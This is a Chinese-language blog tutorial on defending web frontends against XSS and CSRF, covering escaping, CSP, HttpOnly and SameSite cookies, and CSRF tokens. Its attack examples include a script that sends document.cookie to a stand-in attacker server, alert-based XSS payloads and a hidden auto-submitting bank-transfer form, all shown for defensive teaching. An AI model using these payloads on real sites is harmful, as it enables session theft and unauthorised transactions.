【前端安全】前端安全第一課:防止 XSS 和 CSRF 攻擊的常見手法
所屬專欄: 《前端小技巧集合:讓你的代碼更優雅高效》
上一篇: 【性能指標】決戰性能之巔:深入理解核心 Web 指標(Core Web Vitals)
作者: 碼力無邊
? 引言:在代碼的“伊甸園”里,毒蛇從未遠去
嘿,各位在數字世界里構筑夢想、守護用戶的前端“守望者”們,我是碼力無邊!
歡迎來到我們《前端小技巧集合》專欄的收官之作。在過去的 29 篇里,我們一起修煉了 CSS 的奇技淫巧,掌握了 JS 的騷操作,探索了 React 的性能奧秘,玩轉了工程化的利器,也深入了性能優化的內核。我們的應用變得越來越強大、越來越快、越來越優雅。
我們仿佛在代碼的世界里,建造了一座座繁華的“伊甸園”。用戶在其中愉快地生活、分享、交易。一切看起來都那么美好。
但是,在這片看似寧靜的“伊甸園”里,“毒蛇”——也就是網絡攻擊者——從未遠去。他們潛伏在陰影之中,時刻尋找著我們代碼中的“裂縫”,試圖竊取用戶的“禁果”(敏感信息、賬號權限),甚至摧毀我們辛辛苦苦建立起來的一切。
作為前端開發者,我們常常會有一種錯覺:“安全,那是后端大佬們的事兒。我只是個畫頁面的,能有什么壞心思呢?”
這種想法,是極其危險的。在現代 Web 應用中,前端承載了越來越多的業務邏輯和用戶交互,我們早已不是單純的“視圖層”。我們是守護用戶數據安全的第一道,也是最后一道防線。一旦前端失守,即使用戶密碼再復雜、后端防火墻再堅固,也可能在瞬間土崩瓦解。
在前端面臨的眾多安全威脅中,有兩個“古老”而又“致命”的幽靈,它們的名字如同魔咒一般,縈繞在每一位 Web 開發者的耳邊:
- XSS (Cross-Site Scripting):跨站腳本攻擊 —— 攻擊者想方設法將惡意腳本注入到你的網站中,讓它在其他用戶的瀏覽器里執行。
- CSRF (Cross-Site Request Forgery):跨站請求偽造 —— 攻擊者誘導已經登錄的用戶,在他們不知情的情況下,向你的網站發送一個惡意的請求。
今天,作為本專欄的收官之作,碼力無邊將化身“安全導師”,帶你深入這兩大“上古魔頭”的巢穴。我們將通過生動的故事和具體的代碼示例,徹底剖析它們的攻擊原理,并為你傳授一套經過實戰檢驗的前端防御“組合拳”。
這不僅是技術的探討,更是一次安全意識的“覺醒”。讓我們一起為我們的“伊甸園”筑起堅固的圍墻,守護我們用戶的安全與信任。
第一幕:XSS 的“借刀殺人”之術
XSS 的核心思想,就是“借你的網站,去攻擊你的用戶”。攻擊者本身并不直接攻擊用戶,而是把你的網站變成一個“木馬”,一個能執行他預設好的惡意腳本的“平臺”。
劇本設定:
- 你:一個社交網站
my-social-site.com
的前端開發者。 - 受害者 (Alice):你網站的忠實用戶,已經登錄。
- 攻擊者 (Mallory):一個心懷不軌的黑客。
類型一:存儲型 XSS (Stored XSS) —— 最惡毒的“慢性毒藥”
這是最危險的一種 XSS 攻擊。攻擊者將惡意腳本存儲到了你的服務器數據庫中。
攻擊流程:
- “下毒”:你的網站有一個“評論”功能。Mallory 在評論框里,沒有輸入正常的評論,而是輸入了一段精心構造的惡意腳本:
<p>這篇文章寫得太棒了!</p> <script>// 這段腳本會在每個看到這條評論的用戶瀏覽器中執行// 比如,偷偷地把用戶的 cookie 發送到攻擊者的服務器const userCookie = document.cookie;fetch(`https://mallory-evil-server.com/steal?cookie=${userCookie}`); </script>
- “入庫”:你后端沒有對用戶輸入進行嚴格的過濾和轉義,直接將這段包含
<script>
標簽的 HTML 字符串存入了數據庫。 - “傳播”:無辜的用戶 Alice 訪問了這篇文章。你的前端代碼從后端獲取評論數據,然后不加處理地,通過
innerHTML
或 React 的dangerouslySetInnerHTML
將其渲染到了頁面上。 - “毒發”:當 Alice 的瀏覽器解析到 Mallory 留下的評論時,那段
<script>
標簽被當成了正常的、可執行的 JavaScript。于是,腳本執行,Alice 的cookie
(其中可能包含她的 session ID)神不知鬼不覺地被發送到了 Mallory 的服務器。 - “冒名頂替”:Mallory 拿到了 Alice 的
cookie
,他就可以偽造成 Alice 的身份,登錄你的網站,為所欲為。
存儲型 XSS 的可怕之處在于,它像一種“慢性毒藥”,只要被注入一次,所有訪問受感染頁面的用戶都會“中毒”,影響范圍極廣。
類型二:反射型 XSS (Reflected XSS) —— 狡猾的“釣魚陷阱”
反射型 XSS 的惡意腳本不會被存儲在服務器上。它通常作為 URL 的一部分,由攻擊者“構造”出來,然后誘導用戶去點擊。
攻擊流程:
- “制作魚餌”:你的網站有一個搜索功能,URL 類似于
https://my-social-site.com/search?q=keyword
。搜索結果頁面會顯示“您搜索的關鍵詞是:keyword”。 - “藏毒于餌”:Mallory 發現,你的后端在顯示搜索關鍵詞時,也沒有做轉義。于是,他構造了一個惡意的 URL:
https://my-social-site.com/search?q=<script>alert('你被攻擊了!');</script>
- “釣魚”:Mallory 將這個經過 URL 編碼后的鏈接,通過郵件、聊天軟件等方式,偽裝成一個“熱門文章鏈接”、“中獎通知”等,發送給受害者 Alice,并誘導她點擊。
- “毒發”:Alice 點擊鏈接后,她的瀏覽器向你的服務器發送了請求。你的服務器從 URL 中提取出
q
參數的值(那段惡意腳本),然后不加處理地把它“反射”回了 HTML 頁面中,比如:
Alice 的瀏覽器解析到這段 HTML,腳本被執行。雖然這個<div>您搜索的關鍵詞是:<script>alert('你被攻擊了!');</script></div>
alert
看起來無害,但 Mallory 完全可以把它換成和存儲型 XSS 中一樣的竊取 cookie 的腳本。
反射型 XSS 像一場“騙局”,它需要用戶的“配合”(點擊惡意鏈接)才能成功。
類型三:DOM 型 XSS (DOM-based XSS) —— 前端的“自我背叛”
DOM 型 XSS 是一個非常特殊的類型。它的注入和執行過程,完全發生在前端,服務器甚至可能毫不知情。
攻擊流程:
- “前端的漏洞”:你的單頁應用 (SPA) 中,有一段 JavaScript 代碼,它會從 URL 的 hash (
#
) 中讀取內容,并將其動態地渲染到頁面上。// router.js window.addEventListener('hashchange', () => {const content = window.location.hash.slice(1); // 從 # 后面取值// 危險操作!document.getElementById('content').innerHTML = decodeURIComponent(content); });
- “制作魚餌”:Mallory 構造了一個惡意 URL:
https://my-social-site.com/#<img src=x onerror="alert('DOM XSS!')">
- “釣魚”:Mallory 同樣誘導 Alice 點擊這個鏈接。
- “毒發”:Alice 點擊后,瀏覽器加載了你的網站。
- 服務器視角:服務器看到的 URL 是
https://my-social-site.com/
,因為#
后面的部分不會被發送到服務器。服務器返回了正常的、干凈的 JS 文件。 - 瀏覽器視角:瀏覽器端的
router.js
開始執行。hashchange
事件(或初始加載)觸發,它讀取了#
后面的惡意字符串decodeURIComponent('<img src=x onerror="...">')
,然后直接通過innerHTML
把它寫入了 DOM。這個無效的<img>
標簽加載失敗,觸發了onerror
事件,執行了 Mallory 的惡意腳本。
- 服務器視角:服務器看到的 URL 是
DOM 型 XSS 的隱蔽之處在于,它完全是前端代碼的“自我背叛”,傳統的后端 WAF (Web 應用防火墻) 可能完全無法檢測到它。
XSS 防御“組合拳”
防御 XSS 的核心原則是:永遠不要相信用戶的任何輸入 (Never trust user input),并且對所有要輸出到頁面的內容進行嚴格的編碼和轉義。
第一拳:輸入過濾 (Input Filtering) - “初篩”
雖然不是最可靠的防線,但在接收用戶輸入時,可以做一些基本的過濾。比如,限制用戶名只能是字母和數字,過濾掉一些明顯的危險字符。但這很容易被繞過,不能作為主要防御手段。
第二拳:輸出編碼/轉義 (Output Encoding/Escaping) - “金鐘罩”
這是最核心、最有效的防御手段。它的思想是,將那些具有特殊含義的 HTML 字符(如 <
, >
, "
, '
, &
)轉換成它們的 HTML 實體編碼。
字符 | HTML 實體 |
---|---|
< | < |
> | > |
" | " |
' | ' 或 ' |
& | & |
當瀏覽器解析到 <script>
時,它只會把它當成純粹的文本“
- 后端渲染:幾乎所有的后端模板引擎(如 EJS, Pug, Jinja2)都默認開啟了輸出轉義。你只需要確保沒有手動關閉它。
- 前端渲染:
- 使用現代框架:React, Vue, Angular 等現代框架,當你使用它們的數據綁定語法(如 React 的
{}
,Vue 的{{}}
)時,它們會自動為你進行輸出轉義。// React: 這是安全的! const userInput = "<script>alert('xss')</script>"; return <div>{userInput}</div>; // 頁面會顯示字符串 "<script>alert('xss')</script>"
- 避免危險操作:永遠、永遠、永遠不要濫用
innerHTML
,outerHTML
或 React 的dangerouslySetInnerHTML
。只有當你百分之百確定你插入的 HTML 內容是完全可信的(比如,來自你自己的、經過嚴格處理的富文本編輯器),才可以使用它們。 - 手動轉義:如果你不得不在原生 JS 中操作,請使用成熟的庫(如
dompurify
)來清理和轉義 HTML,或者至少自己實現一個簡單的轉義函數。
- 使用現代框架:React, Vue, Angular 等現代框架,當你使用它們的數據綁定語法(如 React 的
第三拳:內容安全策略 (Content Security Policy, CSP) - “白名單”
CSP 是一道強大的、由瀏覽器提供的附加安全層。它通過一個 HTTP 響應頭 Content-Security-Policy
,來告訴瀏覽器,我的網站只允許從哪些來源加載資源(腳本、樣式、圖片等)。
-
一個嚴格的 CSP 策略示例:
Content-Security-Policy: default-src 'self'; script-src 'self' https://apis.google.com;
這個策略告訴瀏覽器:
- 默認情況下,所有資源(圖片、樣式等)只能從我自己的域名 (
'self'
) 加載。 - 對于腳本,除了我自己的域名,我還信任
https://apis.google.com
。
- 默認情況下,所有資源(圖片、樣式等)只能從我自己的域名 (
-
CSP 如何防御 XSS?
- 它能有效地阻止內聯腳本 (
<script>...</script>
) 和內聯事件處理器 (onclick="..."
) 的執行(除非你明確允許unsafe-inline
,但不推薦)。 - 即使攻擊者成功注入了
<script src="https://evil.com/xss.js"></script>
,由于evil.com
不在我們的script-src
白名單里,瀏覽器會直接拒絕加載和執行這個腳本。
- 它能有效地阻止內聯腳本 (
配置 CSP 是一項精細的工作,需要仔細規劃你網站的所有資源來源,但它提供的防御效果是極其強大的。
第四拳:HTTPOnly Cookie - “釜底抽薪”
大多數 XSS 攻擊的目標都是竊取 document.cookie
。我們可以在設置 cookie 的 Set-Cookie
響應頭中,添加 HttpOnly
標記。
Set-Cookie: session_id=...; HttpOnly; Secure; SameSite=Strict
被標記為 HttpOnly
的 cookie,將無法通過 JavaScript 的 document.cookie
API 來訪問。它只能由瀏覽器在發送 HTTP 請求時自動攜帶。這就從根本上斷絕了 XSS 腳本竊取 session cookie 的念想。這是后端必須要做的一項關鍵配置。
第二幕:CSRF 的“移花接木”之術
CSRF 的核心思想,是“借你的身份,去辦我的事”。攻擊者自己什么也得不到,他的目標是利用你已經登錄的身份,去執行一些非你本意的操作。
劇本設定:
- 你 (Alice):一個網上銀行
my-bank.com
的用戶,你剛剛登錄完,瀏覽器里存著你的登錄憑證 (cookie)。 - 你的銀行 (
my-bank.com
):它提供了一個轉賬功能,請求是這樣的:
POST /transfer?to=BOB&amount=100
- 攻擊者 (Mallory):他想把你的錢轉走。
攻擊流程:
- “設下陷阱”:Mallory 在他自己的惡意網站
evil.com
上,創建了一個看起來人畜無害的頁面。這個頁面上可能有一張可愛的貓咪圖片,或者一個“點擊抽獎”的按鈕。 - “暗藏殺機”:在這個頁面的 HTML 里,Mallory 隱藏了一個自動提交的表單:
<!-- evil.com/trap.html --> <h1>快來看可愛的小貓咪!</h1> <img src="cute-cat.jpg"><form id="csrf-form" action="https://my-bank.com/transfer" method="POST" style="display:none;"><input type="hidden" name="to" value="MALLORY"><input type="hidden" name="amount" value="10000"> </form><script>// 頁面一加載,就自動提交這個隱藏的表單document.getElementById('csrf-form').submit(); </script>
- “誘敵深入”:Mallory 通過各種手段,誘導你(Alice)在已經登錄了網上銀行的情況下,訪問他這個
evil.com
的陷阱頁面。 - “借刀殺人”:
- 你一打開
evil.com
,頁面里的 JavaScript 就自動提交了那個隱藏的表單。 - 這個表單的目標地址是
https://my-bank.com/transfer
。 - 根據瀏覽器的同源策略,
evil.com
的腳本無法讀取到my-bank.com
的 cookie。但是,瀏覽器在發送跨站請求時,如果my-bank.com
的 cookie 沒有設置SameSite
屬性或者設置得不夠嚴格,瀏覽器會自動地、無條件地把my-bank.com
域名下的 cookie 一起帶上! my-bank.com
的服務器收到了這個POST
請求。它看到了請求中攜帶著你(Alice)的有效 cookie,驗證通過!它又看到了請求的 body 里有to=MALLORY
和amount=10000
。服務器認為這是 Alice 的一次正常轉賬操作,于是執行了轉賬。- 你的 10000 塊錢,就這樣在你欣賞貓咪圖片的時候,被轉走了。整個過程你毫不知情。
- 你一打開
CSRF 的核心在于:攻擊利用了瀏覽器會自動攜帶 cookie 的這個“特性”,偽造了一個看起來像是用戶自己發出的請求。
CSRF 防御“組合拳”
防御 CSRF 的核心原則是:確保一個敏感操作的請求,必須是由用戶在我們的網站上、通過我們設計的 UI 主動發起的,而不是來自其他任何地方。
第一拳:SameSite Cookie 屬性 - “釜底抽薪”
這是目前最有效、最根本的防御手段。它通過在 Set-Cookie
響應頭中設置 SameSite
屬性,來告訴瀏覽器在跨站請求中,應該如何處理 cookie。
SameSite=Strict
: 最嚴格。瀏覽器在任何跨站請求中,都絕對不會攜帶 cookie。比如,你從 Google 搜索結果中點擊一個鏈接跳轉到你的網站,這次跳轉也被視為跨站,Strict
模式下連登錄狀態都會丟失。SameSite=Lax
: 默認值(在現代瀏覽器中)。在一些被認為是“安全”的頂級導航 GET 請求中(比如點擊鏈接跳轉),瀏覽器會攜帶 cookie。但在不安全的 HTTP 方法(如POST
,PUT
,DELETE
)的跨站請求中,以及通過<img>
,<iframe>
,XHR/Fetch
等方式發起的跨站請求中,不會攜帶 cookie。SameSite=None
: 關閉 SameSite 限制。但必須同時指定Secure
屬性,即只在 HTTPS 連接中才發送 cookie。
如何防御?
將所有涉及認證的 cookie 都設置為 SameSite=Lax
或 SameSite=Strict
。
對于我們上面的銀行轉賬例子,由于它是一個 POST
請求,Lax
模式已經足以讓瀏覽器拒絕攜帶 cookie,從而讓 Mallory 的攻擊失效。這是后端必須要做的一項關鍵配置。
第二拳:CSRF Token - “對上暗號”
在 SameSite
屬性普及之前,CSRF Token 是最經典、最通用的防御方案。
流程:
- 當用戶訪問一個需要保護的頁面(比如轉賬表單頁面)時,服務器生成一個隨機的、不可預測的、與當前用戶會話綁定的字符串,我們稱之為
CSRF Token
。 - 服務器將這個 Token 同時下發到前端(比如,放在一個隱藏的
<input>
字段里)和存儲在服務器端的session
中。<form action="/transfer" method="POST"><input type="hidden" name="csrf_token" value="a1b2c3d4-e5f6-..."><!-- ... other fields ... --> </form>
- 當用戶提交表單時,這個
csrf_token
會隨著表單一起被發送到后端。 - 后端收到請求后,會比較請求中的
token
和session
中存儲的token
是否一致。- 如果一致,說明請求合法,執行操作。
- 如果不一致或不存在,說明請求可疑,拒絕執行。
為什么能防御?
攻擊者 Mallory 在 evil.com
上,無法得知這個隨機生成的 csrf_token
是什么(受同源策略限制)。他偽造的表單里,要么沒有這個字段,要么無法填入正確的值。因此,他偽造的請求,永遠無法通過后端的“暗號”驗證。
這個方案需要前后端配合實現,是 SameSite
cookie 之外的一道堅固防線。
第三拳:檢查 Origin
或 Referer
請求頭 - “查驗來源”
瀏覽器在發送跨站請求時,通常會帶上 Origin
(對于 POST
等) 或 Referer
(對于所有請求) 請求頭,來表明這個請求是從哪個源頭發起的。
Origin: https://evil.com
Referer: https://evil.com/trap.html
后端可以在處理敏感操作時,檢查這兩個請求頭的值。如果發現來源不是自己信任的域名,就直接拒絕請求。
這種方法簡單,但存在一些缺點:
- 某些舊的瀏覽器或代理可能會不發送
Referer
。 Referer
頭可能涉及用戶隱私,用戶或瀏覽器插件可能會禁用它。Origin
頭在某些情況下也可能不被發送。
因此,它可以作為一種輔助的防御手段,但不應作為唯一的防線。
終章:安全,是一場永恒的“攻防戰”
XSS 和 CSRF,是 Web 安全領域永恒的話題。它們就像是隱藏在黑暗森林中的獵手,利用的是人性的弱點(好奇心、貪婪)和我們代碼中不經意的疏忽。
作為前端開發者,我們不能再抱有“安全與我無關”的僥幸心理。我們手中的每一行代碼,都可能成為守護用戶的“盾牌”,也可能成為刺向用戶的“利刃”。
今天我們學習的防御“組合拳”,總結起來就是:
- 防御 XSS:
- 核心:對所有輸出到頁面的內容進行編碼轉義。
- 助攻:配置嚴格的 CSP,使用 HttpOnly cookie。
- 防御 CSRF:
- 核心:使用
SameSite
Cookie。 - 助攻:實現 CSRF Token 校驗,檢查 Origin/Referer 頭。
- 核心:使用
安全,不是一勞永逸的“銀彈”,而是一場持續的、動態的“攻防戰”。它需要我們保持敬畏之心,建立起縱深防御的體系,將安全意識融入到我們編碼的每一個環節。
這,是我們作為“守望者”,對用戶最基本的承諾,也是我們專業精神的終極體現。
專欄總結與互動:
歷經三十篇的修行,我們的《前端小技巧集合》專欄也在此畫上了一個圓滿的句號。我們從 CSS 的奇技淫巧,到 JS 的異步與函數式,再到 React 的性能與設計模式,最后深入到工程化、調試、性能指標和安全等領域。希望這段旅程,能為你打開一扇扇新的大門,讓你的前端“武庫”變得更加充實。
感謝各位道友的一路陪伴!技術的道路永無止境,真正的修行,才剛剛開始。
最后,讓我們來一場“畢業論道”: 在你看來,除了我們今天討論的 XSS 和 CSRF,現代前端開發者還應該重點關注哪些其他的安全威脅?比如點擊劫持 (Clickjacking)、供應鏈攻擊 (npm 包安全)、敏感信息泄露 (API Key 硬編碼) 等。你認為哪一種在當下的前端生態中,威脅最大?在評論區留下你的思考,讓我們一起為前端世界的安全未來,貢獻最后一份力量!